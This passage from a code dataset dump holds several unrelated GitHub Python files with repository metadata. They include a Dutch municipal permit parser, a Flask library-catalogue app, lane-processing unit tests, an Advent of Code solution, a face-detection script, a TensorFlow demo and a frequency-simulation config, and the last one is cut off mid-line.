@staticmethod\n def defer_transform(zaak_deferred, decosjoin_service):\n date_workflow_active = decosjoin_service.get_workflow_date_by_step_title(\n zaak_deferred[\"id\"],\n EigenparkeerplaatsOpheffen.date_workflow_active_step_title,\n )\n zaak_deferred[\"dateWorkflowActive\"] = date_workflow_active\n return zaak_deferred\n\n def after_transform(self):\n location = {\n \"type\": self.zaak[\"locationType\"],\n \"street\": self.zaak[\"street\"],\n \"houseNumber\": self.zaak[\"houseNumber\"],\n \"fiscalNumber\": self.zaak[\"fiscalNumber\"],\n \"url\": self.zaak[\"locationUrl\"],\n }\n\n self.zaak[\"location\"] = location\n\n # removed duplicate keys\n for key in [\n \"locationType\",\n \"street\",\n \"houseNumber\",\n \"fiscalNumber\",\n \"locationUrl\",\n ]:\n self.zaak.pop(key, None)\n\n parse_fields = [\n {\n \"name\": \"isCarsharingpermit\",\n \"from\": \"bol8\",\n \"parser\": to_bool,\n },\n {\n \"name\": \"street\",\n \"from\": \"text25\",\n \"parser\": to_string,\n },\n {\n \"name\": \"houseNumber\",\n \"from\": \"num14\",\n \"parser\": to_int,\n },\n {\n \"name\": \"locationType\",\n \"from\": \"text17\",\n \"parser\": to_string,\n },\n {\n \"name\": \"fiscalNumber\",\n \"from\": \"text18\",\n \"parser\": to_string,\n },\n {\n \"name\": \"locationUrl\",\n \"from\": \"text19\",\n \"parser\": to_string,\n },\n {\n \"name\": \"dateEnd\",\n \"from\": \"date8\",\n \"parser\": to_date,\n },\n ]\n\n def has_valid_source_data(self):\n not_before = to_date(\"2023-08-08\")\n creation_date = to_date(self.zaak_source[\"document_date\"])\n\n return creation_date >= not_before and super().has_valid_payment_status()\n\n\nclass TouringcarDagontheffing(Zaak):\n # !!!!!!!!!!!!!\n enabled = not IS_PRODUCTION\n # !!!!!!!!!!!!!\n\n zaak_type = \"Touringcar Dagontheffing\"\n title = \"Touringcar dagontheffing\"\n\n date_workflow_active_step_title = \"Status naar in behandeling\"\n\n @staticmethod\n def defer_transform(zaak_deferred, decosjoin_service):\n date_workflow_active = decosjoin_service.get_workflow_date_by_step_title(\n zaak_deferred[\"id\"], TouringcarDagontheffing.date_workflow_active_step_title\n )\n zaak_deferred[\"dateWorkflowActive\"] = date_workflow_active\n return zaak_deferred\n\n parse_fields = [\n {\n \"name\": \"dateStart\",\n \"from\": \"date6\",\n \"parser\": to_date,\n }, # Begindatum vergunning\n {\n \"name\": \"timeStart\",\n \"from\": \"text14\",\n \"parser\": to_time,\n },\n {\"name\": \"dateEnd\", \"from\": \"date7\", \"parser\": to_date}, # Einddatum vergunning\n {\n \"name\": \"timeEnd\",\n \"from\": \"text15\",\n \"parser\": to_time,\n },\n {\n \"name\": \"licensePlate\",\n \"from\": \"text10\",\n \"parser\": BZP.to_kenteken,\n }, # Kentekens\n {\n \"name\": \"destination\",\n \"from\": \"text7\",\n \"parser\": to_string,\n },\n ]\n\n def has_valid_source_data(self):\n return super().has_valid_payment_status()\n\n\nclass TouringcarJaarontheffing(Zaak):\n # !!!!!!!!!!!!!\n enabled = not IS_PRODUCTION\n # !!!!!!!!!!!!!\n\n zaak_type = \"Touringcar Jaarontheffing\"\n title = \"Touringcar jaarontheffing\"\n\n date_workflow_active_step_title = \"Status naar in behandeling\"\n\n @staticmethod\n def defer_transform(zaak_deferred, decosjoin_service):\n date_workflow_active = decosjoin_service.get_workflow_date_by_step_title(\n zaak_deferred[\"id\"],\n TouringcarJaarontheffing.date_workflow_active_step_title,\n )\n zaak_deferred[\"dateWorkflowActive\"] = date_workflow_active\n\n if zaak_deferred[\"routetest\"] is True:\n zaak_deferred[\"title\"] = \"Touringcar jaarontheffing met routetoets\"\n\n return zaak_deferred\n\n parse_fields = [\n {\n \"name\": \"dateStart\",\n \"from\": \"date6\",\n \"parser\": to_date,\n }, # Begindatum vergunning\n {\"name\": \"dateEnd\", \"from\": \"date7\", \"parser\": to_date}, # Einddatum vergunning\n {\n \"name\": \"licensePlates\",\n \"from\": \"text39\",\n \"parser\": BZP.to_kenteken,\n }, # Kentekens\n {\n \"name\": \"destination\",\n \"from\": \"text7\",\n \"parser\": to_string,\n },\n {\n \"name\": \"routetest\",\n \"from\": \"bol8\",\n \"parser\": to_bool,\n },\n ]\n\n def has_valid_source_data(self):\n return super().has_valid_payment_status()\n\n\nclass WerkEnVervoerOpStraat(Zaak):\n # !!!!!!!!!!!!!\n enabled = not IS_PRODUCTION\n # !!!!!!!!!!!!!\n\n zaak_type = \"Werk en vervoer op straat\"\n title = \"Werkzaamheden en vervoer op straat\"\n\n date_workflow_active_step_title = \"Status - In behandeling\"\n\n @staticmethod\n def defer_transform(zaak_deferred, decosjoin_service):\n date_workflow_active = decosjoin_service.get_workflow_date_by_step_title(\n zaak_deferred[\"id\"],\n WerkEnVervoerOpStraat.date_workflow_active_step_title,\n )\n zaak_deferred[\"dateWorkflowActive\"] = date_workflow_active\n\n return zaak_deferred\n\n parse_fields = [\n {\n \"name\": \"dateStart\",\n \"from\": \"date6\",\n \"parser\": to_date,\n }, # Begindatum vergunning\n {\"name\": \"dateEnd\", \"from\": \"date7\", \"parser\": to_date}, # Einddatum vergunning\n {\n \"name\": \"licensePlates\",\n \"from\": \"text49\",\n \"parser\": BZP.to_kenteken,\n }, # Kentekens\n {\n \"name\": \"location\",\n \"from\": \"text6\",\n \"parser\": to_string,\n },\n {\n \"name\": \"block\",\n \"from\": \"bol9\",\n \"parser\": to_bool,\n },\n {\n \"name\": \"bicycleRack\",\n \"from\": \"bol12\",\n \"parser\": to_bool,\n },\n {\n \"name\": \"eParkingspace\",\n \"from\": \"bol13\",\n \"parser\": to_bool,\n },\n {\n \"name\": \"filming\",\n \"from\": \"bol16\",\n \"parser\": to_bool,\n },\n {\n \"name\": \"night\",\n \"from\": \"bol17\",\n \"parser\": to_bool,\n },\n {\n \"name\": \"object\",\n \"from\": \"bol18\",\n \"parser\": to_bool,\n },\n {\n \"name\": \"parkingspace\",\n \"from\": \"bol20\",\n \"parser\": to_bool,\n },\n {\n \"name\": \"eRvv\",\n \"from\": \"bol21\",\n \"parser\": to_bool,\n },\n {\n \"name\": \"rvv\",\n \"from\": \"bol22\",\n \"parser\": to_bool,\n },\n {\n \"name\": \"vezip\",\n \"from\": \"bol23\",\n \"parser\": to_bool,\n },\n ]\n\n def has_valid_source_data(self):\n return super().has_valid_payment_status()\n\n\n# A dict with all enabled Zaken\nzaken_index = {\n getattr(cls, \"zaak_type\"): cls for cls in Zaak.__subclasses__() if cls.enabled\n}\n","repo_name":"Amsterdam/mijn-decos-join-api","sub_path":"app/zaaktypes.py","file_name":"zaaktypes.py","file_ext":"py","file_size_in_byte":45178,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"37"} +{"seq_id":"40430999405","text":"from exchangelib import Credentials, Account, Message\n\n\nclass OutlookMail():\n def __init__(self, address: str, pwd: str):\n self.credential = Credentials(address, pwd)\n self.account = Account(address, credentials=self.credential, autodiscover=True)\n\n def send(self, subject: str, content: str, to: str):\n message = Message(account=self.account,\n subject=subject,\n body=content,\n to=to)\n message.send()\n\n","repo_name":"mugglecode/mail-mojo","sub_path":"mail_mojo/outlookMail.py","file_name":"outlookMail.py","file_ext":"py","file_size_in_byte":511,"program_lang":"python","lang":"en","doc_type":"code","stars":9,"dataset":"github-code","pt":"37"} +{"seq_id":"38895781504","text":"\"\"\"\n\"\"\"\nfrom flask import Flask, render_template, redirect, url_for, request, session\nfrom flask_sqlalchemy import SQLAlchemy\nfrom sqlalchemy.sql.expression import func\nfrom sqlalchemy import or_\nfrom sqlalchemy.exc import IntegrityError\n\nfrom flask_wtf import Form, RecaptchaField\nfrom wtforms import StringField, TextField, SelectField, validators\n\nfrom request_book import reorganize_openlibrary_data\n\nimport requests\nimport json\n\nimport os\n\nfrom ConfigParser import SafeConfigParser\n\n\nPROJECT_ROOT = os.path.dirname(os.path.realpath(__file__))\n\nCONFIG_FILE = \"library.cfg\"\nCONFIG_PATH = os.path.join(PROJECT_ROOT, CONFIG_FILE)\nCONFIG = SafeConfigParser()\nCONFIG.read(CONFIG_PATH)\n\n# Configuration Secrets\nAPP_SECRET_KEY = CONFIG.get(\"secrets\", \"APP_SECRET_KEY\")\nWTF_CSRF_SECRET_KEY = CONFIG.get(\"secrets\", \"WTF_CSRF_SECRET_KEY\")\nNEW_ISBN_SUBMIT_SECRET = CONFIG.get(\"secrets\", \"NEW_ISBN_SUBMIT_SECRET\")\nNEW_LOCATION_SUBMIT_SECRET = CONFIG.get(\"secrets\", \"NEW_LOCATION_SUBMIT_SECRET\")\nRECAPTCHA_PUBLIC_KEY = CONFIG.get(\"secrets\", \"RECAPTCHA_PUBLIC_KEY\")\nRECAPTCHA_PRIVATE_KEY = CONFIG.get(\"secrets\", \"RECAPTCHA_PRIVATE_KEY\")\n\ndb_name = 'books.sqlite'\nDB_DIR = \"database\"\nsqlite_db = 'sqlite:////' + os.path.join(PROJECT_ROOT, 'database', db_name)\n\n# haven't used this in the templates, currently using exact path on a few files.\n# not even sure if this django style approach works with flask\nSTATIC_DIR = \"static\"\n\napp = Flask(__name__)\n\napp.secret_key = APP_SECRET_KEY\n\n# flask will reload itself on changes when debug is True\n# flask can execute arbitrary code if you set this True\napp.debug = True\n\n#sqlalchemy configuration\napp.config['SQLALCHEMY_DATABASE_URI'] = sqlite_db\ndb = SQLAlchemy(app)\n\nPAGINATE_BY_HOWMANY = 15\n\n# == recaptcha ==\n# recaptcha disabled - it is ready to be implemented now\n#RECAPTCHA_PARAMETERS = {'hl': 'zh', 'render': 'explicit'}\n#RECAPTCHA_DATA_ATTRS = {'theme': 'dark'}\n#app.config['RECAPTCHA_USE_SSL'] = False\n\n\nclass Location(db.Model):\n \"\"\" Locations have a shortname and a pkey ID. \n\n Books are linked to location by ForeignKey using the ID (pkey).\n \"\"\"\n id = db.Column(db.Integer, primary_key=True)\n label_name = db.Column(db.String(20), unique=True)\n full_name = db.Column(db.String(100), unique=False)\n books = db.relationship('Book', backref='person', lazy='dynamic')\n\n def __init__(self, label_name, full_name):\n self.label_name = label_name\n self.full_name = full_name\n\n def __repr__(self):\n return ''.format(self.label_name)\n\n\nclass Book(db.Model):\n \"\"\" Build a model based on the available fields in the openlibrary.org API.\n\n Notes: \n authors - will be stored as a long string, openlibrary delivers it as a list of objects.\n\n Additional info:\n curl 'https://openlibrary.org/api/books?bibkeys=ISBN:9780980200447&jscmd=data&format=json'\n using jscmd=data yields less info but is more stable\n using jscmd=details will give us book cover thumbnail, preview url, table of contents, and more\n\n Enhancements:\n use jscmd=details to get cover thumbnail... this could be a key piece of the template\n \"\"\"\n id = db.Column(db.Integer, primary_key=True)\n isbn = db.Column(db.String(20), unique=False)\n olid = db.Column(db.String(20), unique=False)\n lccn = db.Column(db.String(20), unique=False)\n title = db.Column(db.String(200), unique=False)\n authors = db.Column(db.String(200), unique=False)\n publish_date = db.Column(db.String(30), unique=False)\n number_of_pages = db.Column(db.String(10), unique=False)\n subjects = db.Column(db.String(5000), unique=False)\n openlibrary_medcover_url = db.Column(db.String(500), unique=False)\n openlibrary_preview_url = db.Column(db.String(500), unique=False)\n dewey_decimal_class = db.Column(db.String(50), unique=False)\n location = db.Column(db.Integer, db.ForeignKey('location.id'), default=None, nullable=True)\n\n def __init__(self, isbn, \n olid,\n lccn,\n title, \n number_of_pages, \n publish_date, \n authors,\n subjects,\n openlibrary_medcover_url,\n openlibrary_preview_url,\n dewey_decimal_class,\n location):\n\n self.isbn = isbn\n self.olid = olid\n self.lccn = lccn\n self.title = title\n self.authors = authors\n self.publish_date = publish_date\n self.number_of_pages = number_of_pages\n self.subjects = subjects\n self.openlibrary_medcover_url = openlibrary_medcover_url\n self.openlibrary_preview_url = openlibrary_preview_url\n self.dewey_decimal_class = dewey_decimal_class\n self.location = location\n\n def __repr__(self):\n return ''.format(self.title)\n\n\nclass BookForm(Form):\n olid = StringField('olid', [validators.Length(min=4, max=20)])\n\n\nclass SecretSubmitForm(Form):\n \"\"\" Used on any form where a passphrase is required to submit books.\n \"\"\"\n secret = StringField('olid', [validators.Length(min=1, max=200)])\n\n\nclass SampleForm(Form):\n name = StringField('name', validators=[validators.DataRequired()])\n\n\nclass LocationForm(Form):\n # attach form.location.choices = location_options after instantiation!!\n # http://wtforms.readthedocs.io/en/latest/fields.html#wtforms.fields.SelectField\n location = SelectField(coerce=int)\n\n\nclass NewLocationForm(Form):\n # These constraints are temporary and can change to support the labelling system.\n new_location = StringField('label_name', [validators.Length(min=5, max=10)])\n location_entry_secret = StringField('location_entry_secret', validators=[validators.Length(min=1, max=200)])\n\n@app.route(\"/sampleform/\", methods=('GET', 'POST'))\ndef sampleform():\n form = SampleForm()\n if form.validate_on_submit():\n return redirect(\"/sampleform\")\n return render_template(\"sampleform.html\", form=form)\n\n\n@app.route(\"/test/\")\ndef test():\n \"\"\" Test frontend integration\n \"\"\"\n return render_template('test.html')\n\n\n@app.route(\"/index/\")\n@app.route(\"/\")\ndef home():\n return redirect(url_for('index', page=1))\n\n\n@app.route(\"/submit/\", methods=(\"GET\",\"POST\"))\ndef submit(secret=None):\n secret_form = SecretSubmitForm(request.form)\n if request.method == \"GET\":\n return redirect(url_for('new_book'))\n if request.method == \"POST\" and secret_form.validate(): \n secret = secret_form.secret.data\n\n if secret != NEW_ISBN_SUBMIT_SECRET:\n return(\"Bad Secret, try again. This page will be more friendly later :-)\")\n\n bookdata_list = session.get('bookdata', None)\n session.clear()\n if bookdata_list:\n bookdata_list = json.loads(bookdata_list)\n # this bookdata_list obviously needs to be a dict,\n # it wasn't originally clear if this code would\n # still exist after its first use.\n # this still may be true so I have not changed it yet.\n # note: this should probably be abstracted for use by request_book.py and here. \n bookdata = Book(*bookdata_list)\n else:\n return(\"no book!\")\n\n try:\n db.session.add(bookdata)\n db.session.commit()\n session[\"newbookflash\"] = True\n return redirect(url_for('detail', id=bookdata.id))\n\n except IntegrityError:\n db.session.rollback()\n return(\"book already exists. how did you get here?\")\n\n\n@app.route(\"/new/\", methods=('GET', 'POST'))\ndef new_book(olid=None):\n \"\"\" Allow a new book to be added to the database.\n \"\"\"\n book_form = BookForm(request.form)\n secret_form = SecretSubmitForm(request.form)\n if request.method == \"GET\":\n pass\n\n if request.method == \"POST\" and book_form.validate():\n olid = book_form.olid.data\n book_exists = Book.query.filter_by(olid=olid).first()\n\n if book_exists:\n return render_template(\"new_book.html\", book_form=book_form, secret_form=secret_form, olid=olid, book=book_exists, book_exists=True)\n else:\n # make a book object, render it, and if the user submits, then ingest it.\n # SO - we need to get the ingestion script repackaged so a single run of the ingester\n # can be imported as a function.\n URL = \"https://openlibrary.org/api/books?bibkeys=OLID:{olid}&jscmd=data&format=json\"\n r = requests.get(URL.format(olid=olid))\n\n if(r.status_code == 200):\n\n if r.json():\n bookdata_list = reorganize_openlibrary_data(\"OLID:\"+olid, r.json()[\"OLID:\"+olid])\n\n session['bookdata'] = json.dumps(bookdata_list)\n\n # this bookdata_list needs to be a dict,\n # note: this should probably be abstracted for use by request_book.py and here. \n # KEY POINT: this is only done here too because we need to send it to the template.\n bookdata = Book(*bookdata_list)\n\n return render_template(\"new_book.html\", book_form=book_form, secret_form=secret_form, olid=olid, book=bookdata, book_exists=False)\n\n # this doesn't go here, this happens when the user verifies the book is right\n #db.session.add(bookdata)\n else:\n pass\n # this is rendered as logic in the view lol\n else:\n pass\n # this is rendered as logic in the view lol\n\n return render_template(\"new_book.html\", book_form=book_form, secret_form=secret_form, olid=olid)\n\n\n@app.route(\"/all/\")\ndef all():\n \"\"\" Show everything on one page. \n \n This feature may eventually become a legacy feature.\n Useful if you wish to use a browser search tool rather than relying on the\n advanced search.\n Depends on the fields you want to search being visible in the template.\n \"\"\"\n books = Book.query.order_by(Book.title.asc())\n return render_template('all.html', books=books)\n\n\n@app.route(\"/new_location/\", methods=[\"GET\",\"POST\"])\ndef new_location(new_location=None, new_location_submit_secret=None):\n \"\"\" Register a new location\n \"\"\"\n\n new_location_form = NewLocationForm(request.form)\n\n if request.method == \"GET\":\n pass\n\n if request.method == \"POST\" and new_location_form.validate():\n\n if new_location_form.location_entry_secret.data != NEW_LOCATION_SUBMIT_SECRET:\n return(\"Bad Secret, try again. This page will be more friendly later :-)\")\n\n\n new_location = new_location_form.new_location.data\n location_exists = Location.query.filter_by(label_name=new_location).first()\n\n if location_exists:\n return(\"This location already exists! Try again. Friendly response later.\")\n else:\n # label_name, full_name\n newlocationdata = Location(new_location, \"\")\n db.session.add(newlocationdata)\n db.session.commit()\n return(\"Congratulations, {} has been added to your locations. Make this response nice.\".format(new_location))\n\n return render_template(\"new_location.html\", new_location_form=new_location_form, new_location=new_location, new_location_submit_secret=new_location_submit_secret)\n\n\n@app.route(\"/detail//\", methods=[\"GET\",\"POST\"])\ndef detail(id=1):\n \"\"\" Show an individual work\n \"\"\"\n\n newbookflash = session.get(\"newbookflash\", False)\n session.clear()\n\n book = Book.query.get(id)\n\n # dynamically populate locations into SelectField\n location_choices = [(l.id, l.label_name) for l in Location.query.order_by('label_name')]\n location_form = LocationForm()\n\n if request.method == \"POST\":\n book.location = location_form.location.data\n db.session.commit()\n\n location_form.location.choices = location_choices + [(-1, u\"-- Add the correct location --\")]\n if book.location:\n location_form.location.default = book.location\n else:\n location_form.location.default = -1 # give a prompt in the SelectField\n location_form.process()\n\n return render_template( 'detail.html', \n book=book, \n newbookflash=newbookflash, \n location_form = location_form\n )\n\n\n@app.route(\"/explore/\")\ndef explore():\n \"\"\" Return a randomized all template.\n \"\"\"\n books = Book.query.order_by(func.random())\n return render_template('explore.html', books=books)\n\n\n@app.route(\"/index//\", methods=[\"GET\",\"POST\"])\ndef index(page=1):\n \"\"\" Show an index of books, provide some basic searchability.\n \n The two features coded here, pagination and search, will probably be superceded\n by a different implementation. \n \n Options:\n javascript implementation with handlebars or moustache templating systems.\n any implementation that consumes this data from an rest/json API.\n the API is necessary anyways to allow others to interact with the app.\n allow real time search and weighted search.\n current search is too simple - sqlite query based substring search.\n\n \"\"\"\n\n if request.method == \"POST\":\n s = request.form['search']\n return redirect(url_for('index', page=1, s=s))\n\n # preserve search throughout navigation\n s = request.args.get('s')\n\n # do a search if you have a search term\n # (make this more general for an all fields search)\n if s:\n books = Book.query.order_by(Book.title.asc()).filter(or_(Book.title.contains(s), Book.authors.contains(s), Book.subjects.contains(s))).paginate(page,PAGINATE_BY_HOWMANY,False)\n\n # return all books, currently sort by title ascending.\n else:\n books = Book.query.order_by(Book.title.asc()).paginate(page,PAGINATE_BY_HOWMANY,False)\n\n return render_template('index.html', books=books, s=s)\n\nif __name__ == \"__main__\":\n # flask can execute arbitrary python if you do this.\n # app.run(host='0.0.0.0') # listens on all public IPs. \n\n app.run()\n\n","repo_name":"noisebridge/library-org","sub_path":"controller.py","file_name":"controller.py","file_ext":"py","file_size_in_byte":14127,"program_lang":"python","lang":"en","doc_type":"code","stars":11,"dataset":"github-code","pt":"37"} +{"seq_id":"8296194913","text":"from unittest import TestCase\nimport xml.etree.ElementTree as ET\nimport pandas as pd\nimport os\n\nfrom preprocess.processing_module import get_coordinates_lane, get_all_lanes_coordinates, \\\n get_geoposities, extract_lane_id, get_car_spawn_times, vehicles_laneID, calculate_trajectory, get_nodes, get_lane, get_coordinates\nfrom common import open_xml\n\nclass Test(TestCase):\n\n def test_get_car_spawn_times(self):\n test_csv_path = os.path.join(\"tests\",\"filetest\", \"testcsvfile.csv\")\n list_columns = [\"03\", \"k103\"]\n expected_output = {\"03\": [\"02-11-2020 00:00:00.9\", \"02-11-2020 00:00:07.9\"],\n \"k103\": [\"02-11-2020 00:00:00.3\", \"02-11-2020 00:00:04.2\"]}\n\n spawn_times = get_car_spawn_times(test_csv_path, list_columns)\n\n self.assertEqual(spawn_times, expected_output)\n \n def test_calculate_trajectory(self):\n actual_distance = 0.038245325870749115 # the trajectory of igresslane 2 and egresslane 19\n # get the start and en dcoordinates of the trajectory \n start_coordinate = [51.6831293, 5.2938658]\n end_coordinate = [51.6829984, 5.2943788]\n \n test_distance = calculate_trajectory(start_coordinate[1], start_coordinate[0], end_coordinate[1],end_coordinate[0])\n self.assertEqual(test_distance, actual_distance)\n\n def test_vehicles_laneID(self):\n root = open_xml('BOS210')\n actual_lanes = ['1', '2', '7', '8', '12', '13', '14', '15', '17', '18', '19', '20', '26']\n test_lanes = list(vehicles_laneID(root).keys() )# returns dict_keys, convert to list \n \n self.assertEqual(test_lanes, actual_lanes)\n\n def test_get_nodes(self):\n root = open_xml('BOS210')\n # get the coordinates of lane 14 from xml file\n coordinates14 = [[51.682829, 5.2942043], [51.6827282, 5.2942427], [51.6826642, 5.2942515], [51.6825888, 5.2942495], [51.6825214, 5.294241], [51.6817411, 5.2940632], [51.6815636, 5.2940316], [51.681504, 5.2940671]]\n print(\"Actual\")\n print(coordinates14)\n nodes14 = root[2][1][0][6][13][4] # nodes Element of lane 14 halen from xml file\n test_coord = get_nodes(nodes14)\n print('Expected')\n print(test_coord)\n self.assertEqual(test_coord, coordinates14)\n\n def test_get_lane(self):\n root = open_xml('BOS210')\n actual_genericlane = root[2][1][0][6][0] # getting the first genericlane\n test_genericlane = get_lane(root, \"1\") \n self.assertEqual(test_genericlane, actual_genericlane)\n \n def test_get_coordinates_trajectory(self):\n actual_coordinates_1 = [[51.683119, 5.2938207], [51.6830587, 5.2938612], [51.6829923, 5.293916], [51.6829464, 5.2939591], [51.6828937, 5.2940163], [51.6828124, 5.2941116]]\n root = open_xml('BOS210')\n lane1 = root[2][1][0][6][0] # getting the first genericlane\n test_coord = get_coordinates(root, lane1, 'trajectory')\n self.assertEqual(test_coord, actual_coordinates_1)\n\n \n \n\n\n","repo_name":"Lucas-vdr-Horst/VIS-group-C","sub_path":"tests/test_processing_module.py","file_name":"test_processing_module.py","file_ext":"py","file_size_in_byte":3012,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"37"} +{"seq_id":"14061515895","text":"\nlength = 10007\n\ndef factory_deck():\n return list(range(0, length))\n\ndef deal_into_new_stack(deck):\n return deck[::-1]\n\ndef cut_n_cards(deck, n):\n start = deck[:n]\n end = deck[n:]\n return end + start\n\ndef deal_with_increment(deck, n):\n new_deck = [None] * length\n for i in range(0, length):\n new_deck[i * n % length] = deck[i]\n return new_deck\n\ndeck = factory_deck()\n\nfile = open(\"input.txt\", \"r\")\nlines = file.readlines()\n\nfor line in lines:\n if line.startswith(\"deal into new stack\"):\n deck = deal_into_new_stack(deck)\n elif line.startswith(\"cut\"):\n n = int(line.split()[-1])\n deck = cut_n_cards(deck, n)\n elif line.startswith(\"deal with increment\"):\n n = int(line.split()[-1])\n deck = deal_with_increment(deck, n)\n else:\n print(\"error: \" + line)\n exit(1)\n\nresult = deck.index(2019)\nprint(result)","repo_name":"jannikw/aoc-2019","sub_path":"day22/part1.py","file_name":"part1.py","file_ext":"py","file_size_in_byte":890,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"3915922752","text":"import cv2\r\nimport mediapipe as mp\r\n\r\n# Nesneleri Oluşturuyoruz\r\nmpFace= mp.solutions.face_detection\r\nface= mpFace.FaceDetection(min_detection_confidence = 0.01)\r\nmpDraw = mp.solutions.drawing_utils\r\n\r\ncap = cv2.VideoCapture('video3.mp4')\r\n\r\nwhile True:\r\n ret, img = cap.read()\r\n if ret == True:\r\n img_rgb = cv2.cvtColor(img, cv2.COLOR_BGR2RGB)\r\n result = face.process(img_rgb)\r\n \r\n #print(result.detections)\r\n \r\n if result.detections:\r\n for id,detection in enumerate(result.detections):\r\n \"\"\"\r\n location_data.relative_bounding_box bize 4 değer dönürüyor\r\n xmi0n ymin width height. \r\n bu değerleri bi kutu çizmek için kullanacağız\r\n \"\"\"\r\n bboxC = detection.location_data.relative_bounding_box\r\n #print(bboxC)\r\n h, w,_ = img.shape\r\n \r\n bbox= int(bboxC.xmin*w), int(bboxC.ymin*h), int(bboxC.width*w), int(bboxC.height*h)\r\n #print(bbox)\r\n cv2.rectangle(img,bbox,(0,255,255),2)\r\n \r\n \r\n cv2.imshow('video',img)\r\n else:\r\n break\r\n k = cv2.waitKey(1)\r\n if k ==27:\r\n break\r\n \r\ncv2.destroyAllWindows()","repo_name":"ozdmrramazan/OpencvProjects","sub_path":"5_face_detection/face.py","file_name":"face.py","file_ext":"py","file_size_in_byte":1283,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"30485063412","text":"import tensorflow as tf\nfrom data_gen.linear_gen import LinearGen\nfrom metrics.mse import MSE\nfrom models.linear_tf_model import LinearTFModel\nfrom optimizers.sgd import SGD\n\ndef main():\n # data generation\n gen = LinearGen([10, 6.8], 5, 0.01)\n X, y = gen.create_batch(512)\n\n # model initialization\n model = LinearTFModel()\n loss = MSE()\n opt = SGD(0.3)\n\n # model fitting\n print(model)\n model.fit(X, y, loss, opt, num_epochs=16)\n print(model)\n\n # model prediction\n result = model.predict(X)\n print(loss.compare(y, result))\n \n # saving and loading\n model.save(\"test.lineartf\")\n loaded = LinearTFModel()\n loaded.load(\"test.lineartf\")\n \n # comparing saved and loaded models\n result_loaded = loaded.predict(X)\n tf.debugging.assert_equal(result, result_loaded)\n\n # test data\n X_new, y_new = gen.create_batch(512)\n result = model.predict(X_new)\n print(loss.compare(y_new, result))\n\nif __name__ == '__main__':\n main()\n","repo_name":"kindalime/ML-Lib","sub_path":"mains/linear_tf.py","file_name":"linear_tf.py","file_ext":"py","file_size_in_byte":994,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"70413954349","text":"# 滑动窗口\n# 双指针\n\nclass Solution:\n def minSubArrayLen(self, target: int, nums: List[int]) -> int:\n start, sums = 0, 0\n length = len(nums)\n min_len = length + 1 # 初始最小长度,可以选择无穷大,但只要比数组长我认为就可以\n for end in range(length):\n sums += nums[end]\n while sums >= target: # start指针右移,直到总和小于target\n min_len = min(min_len, end - start + 1) # 更新最小长度\n sums -= nums[start]\n start += 1\n if min_len == length + 1: # 如果没有找到,返回0\n return 0\n else:\n return min_len\n","repo_name":"edsml-sz1222/test","sub_path":"practice/4_209.py","file_name":"4_209.py","file_ext":"py","file_size_in_byte":698,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"29971456431","text":"import numpy as np\nimport matplotlib\nimport matplotlib.pyplot as plt\nfrom matplotlib.axes import Axes\nfrom matplotlib.figure import Figure\nfrom matplotlib.ticker import FixedLocator\nfrom datetime import datetime\nimport random\nfrom collections import namedtuple, deque\nfrom tqdm import tqdm\nimport yaml\nfrom sys import exit\nfrom math import isclose\nmatplotlib.use(backend='Qt5Agg')\n\nEvent = namedtuple('Event', ['delta_f', 'end_t'])\nDeflection = namedtuple('Deflection', ['delta_f', 'end_t'])\n\n\nclass Config:\n \"\"\" Оболочка файла конфигурации с контролем корректности введенных значений \"\"\"\n\n farewell_msg = 'Enter - закрыть окно\\n'\n\n try:\n with open('config.yaml') as f:\n cfg = yaml.safe_load(f)\n\n assert isinstance(cfg['f_jump_max'], (float, int)), 'Значение скачка частоты должно быть числом'\n assert isinstance(cfg['f_jump_duration_min'], (float, int)), 'Продолжительность скачка должна быть числом'\n assert isinstance(cfg['f_jump_duration_max'], (float, int)), 'Продолжительность скачка должна быть числом'\n assert cfg['f_jump_duration_min'] > 0, 'Продолжительность скачка должна быть положительным числом'\n assert cfg['f_jump_duration_max'] > 0, 'Продолжительность скачка должна быть положительным числом'\n assert isinstance(cfg['jump_probability'], float), 'Вероятность должна быть числом с плавающей точкой'\n assert 0 < cfg['jump_probability'] < 1, 'Вероятность должна находиться в диапазоне от 0 до 1'\n assert isinstance(cfg['step'], float), 'Временной шаг должен быть числом с плавающей точкой'\n assert cfg['step'] <= 0.00002, '0.00002с - максимально возможное значение временного шага'\n assert isinstance(cfg['simulation_time'], (float, int)), 'Время симуляции должно быть числом'\n assert cfg['simulation_time'] > 0, 'Время симуляции должно быть положительным числом'\n assert isinstance(cfg['U_RMS'], (float, int)), 'Напряжение должно быть числом'\n assert isinstance(cfg['phi0_min'], (float, int)), 'Значение фазы должно быть числом'\n assert isinstance(cfg['phi0_max'], (float, int)), 'Значение фазы должно быть числом'\n assert 0 <= cfg['phi0_min'] < 360, 'phi0 должно находиться в диапазоне 0:359 ' \\\n '(программно переводится в -180:+180)'\n assert 0 <= cfg['phi0_max'] < 360, 'phi0 должно находиться в диапазоне 0:359 ' \\\n '(программно переводится в -180:+180)'\n assert cfg['phi0_min'] <= cfg['phi0_max'], 'phi0_min не может быть больше phi0_max'\n assert isinstance(cfg['f_max'], (float, int)), 'Значение граничной частоты должно быть числом'\n assert isinstance(cfg['f_min'], (float, int)), 'Значение граничной частоты должно быть числом'\n assert cfg['f_max'] > 50.5, 'Верхняя граница частоты должна быть больше 50.5 Гц'\n assert cfg['f_min'] < 49.5, 'Нижняя граница частоты должна быть меньше 49.5 Гц'\n assert isinstance(cfg['RNG_seed'], int) or cfg['RNG_seed'] is None, 'Порождающий элемент ГСЧ - int или null'\n assert isinstance(cfg['control'], bool), 'control может быть равен true или false'\n assert isinstance(cfg['enable_fill'], bool), 'enable_fill может быть равен true или false'\n\n utility_frequency = cfg['utility_frequency']\n f_jump_max = abs(cfg['f_jump_max'])\n frequency_jump_values = np.arange(-cfg['f_jump_max'], cfg['f_jump_max'] + 0.1, 0.1)\n frequency_jump_durations = np.arange(cfg['f_jump_duration_min'], cfg['f_jump_duration_max'], 1.0)\n jump_probability = cfg['jump_probability']\n step = cfg['step']\n sim_time = cfg['simulation_time']\n x_meshgrid = np.arange(0, sim_time, step).round(5)\n amplitude = 